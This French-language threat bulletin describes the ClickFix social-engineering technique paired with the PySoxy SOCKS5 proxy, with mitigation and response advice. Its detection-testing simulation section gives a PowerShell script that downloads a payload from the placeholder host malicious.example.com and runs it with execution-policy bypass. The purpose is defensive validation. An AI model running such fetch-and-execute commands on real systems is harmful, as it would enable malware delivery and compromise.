ClickFix Évolue avec la Proxification PySoxy

Résumé

ClickFix est une technique de livraison basée sur l’ingénierie sociale qui est maintenant associée au proxy SOCKS5 open-source PySoxy pour créer un canal d’accès secondaire chiffré. L’intrusion commence lorsqu’un utilisateur exécute une commande PowerShell malveillante, qui configure une persistance par tâche planifiée et lance une session de commande et de contrôle PowerShell en mémoire. Après la reconnaissance initiale, l’attaquant télécharge et exécute PySoxy pour établir un deuxième chemin chiffré dans l’environnement. Cette utilisation modulaire d’outils basés sur des interpréteurs rend à la fois la détection et la maîtrise de l’incident plus difficiles.

Enquête

ReliaQuest a observé une seule commande ClickFix déclenchée par un utilisateur qui a lancé un stager PowerShell obfusqué, créé une tâche planifiée, effectué une reconnaissance de domaine, et téléchargé plus tard un fichier bytecode Python compilé nommé b64.pyc, qui a été exécuté avec python.exe. Le composant PowerShell a agi en tant que RAT léger, interrogeant son serveur de commande et de contrôle toutes les trois secondes. Les chercheurs ont également vu l’attaquant utiliser curl pour télécharger des journaux et récupérer la charge utile PySoxy à partir du même serveur de mise en scène.

Atténuation

Les défenseurs devraient détecter et bloquer les lancements PowerShell suspects provenant de explorer.exe, surveiller les tâches planifiées qui exécutent des commandes PowerShell cachées, et rechercher des exécutions de Python utilisant des arguments liés au proxy tels que -ssl, -remote_ip, et -remote_port. Les équipes de sécurité devraient également inspecter le trafic sortant vers les domaines et adresses IP identifiés et supprimer tous les scripts PowerShell persistants ou fichiers .pyc trouvés dans ProgramData.

Réponse

Si des indicateurs connexes sont trouvés, isolez immédiatement l’hôte affecté, désactivez le compte utilisateur compromis, supprimez la tâche planifiée malveillante, effacez le script PowerShell et les artefacts PySoxy, et scannez le système pour rechercher d’autres résidus. Les défenseurs devraient également confirmer que le trafic sortant vers l’infrastructure identifiée est bloqué et vérifier qu’aucun autre mécanisme de persistance n’est actif.

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie & de la base doit avoir réussi.

Raisonnement : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTP identifiés et visent à générer exactement la télémétrie attendue par la logique de détection.

• Narratif d’attaque & Commandes :

  1. Objectif : Établir un canal C2 basé sur PowerShell (ClickFix) qui télécharge une charge malveillante depuis un serveur distant et l’exécute furtivement.
  2. Méthode : L’attaquant lance powershell.exe avec les drapeaux exacts surveillés par la règle (-NoProfile and -ExecutionPolicy Bypass) et utilise Invoke-WebRequest pour récupérer la charge utile.
  3. Pourquoi cette méthode : En utilisant le PowerShell de Windows natif et le Invoke-WebRequest cmdlet

  commun, l'adversaire évite de télécharger des outils tiers, réduisant ainsi la probabilité de détection par les anti-virus tout en correspondant au comportement connu de ClickFix capturé dans la règle.

• # Étape 1 : Télécharger le script malveillant (simulé comme un fichier de test anodin) $url = « http://malicious.example.com/payload.ps1 » $out = « $env:TEMPpayload.ps1 » Invoke-WebRequest -Uri $url -OutFile $out # Étape 2 : Exécuter le script téléchargé en utilisant les mêmes paramètres de lancement surveillés par la règle powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out

  # ==============================================
  # Simulation ClickFix PowerShell C2 (TC-20260514-3G7ZK)
  # ==============================================
  
  # Définir les variables
  $url = "http://malicious.example.com/payload.ps1"
  $out = "$env:TEMPpayload.ps1"
  
  # 1. Télécharger une charge utile factice (agit comme le fetch C2)
  Write-Host "[*] Téléchargement de la charge utile..."
  try {
      Invoke-WebRequest -Uri $url -OutFile $out -UseBasicParsing
  } catch {
      Write-Error "Échec du téléchargement : $_"
      exit 1
  }
  
  # 2. Exécuter la charge utile avec les exacts drapeaux surveillés par la règle
  Write-Host "[*] Exécution de la charge utile avec -NoProfile -ExecutionPolicy Bypass"
  powershell.exe -NoProfile -ExecutionPolicy Bypass -File $out
  
  Write-Host "[+] Simulation complète."
  # ==============================================

• Commandes de nettoyage :

  # Supprimer le fichier temporaire de charge utile
  if (Test-Path $out) {
      Remove-Item -Path $out -Force
      Write-Host "[*] Fichier de charge utile supprimé."
  }
  
  # Arrêter éventuellement les processus PowerShell persistants lancés par le test
  Get-Process -Name "powershell" | Where-Object {$_.Path -like "*powershell.exe"} | Stop-Process -Force
  Write-Host "[*] Nettoyage terminé."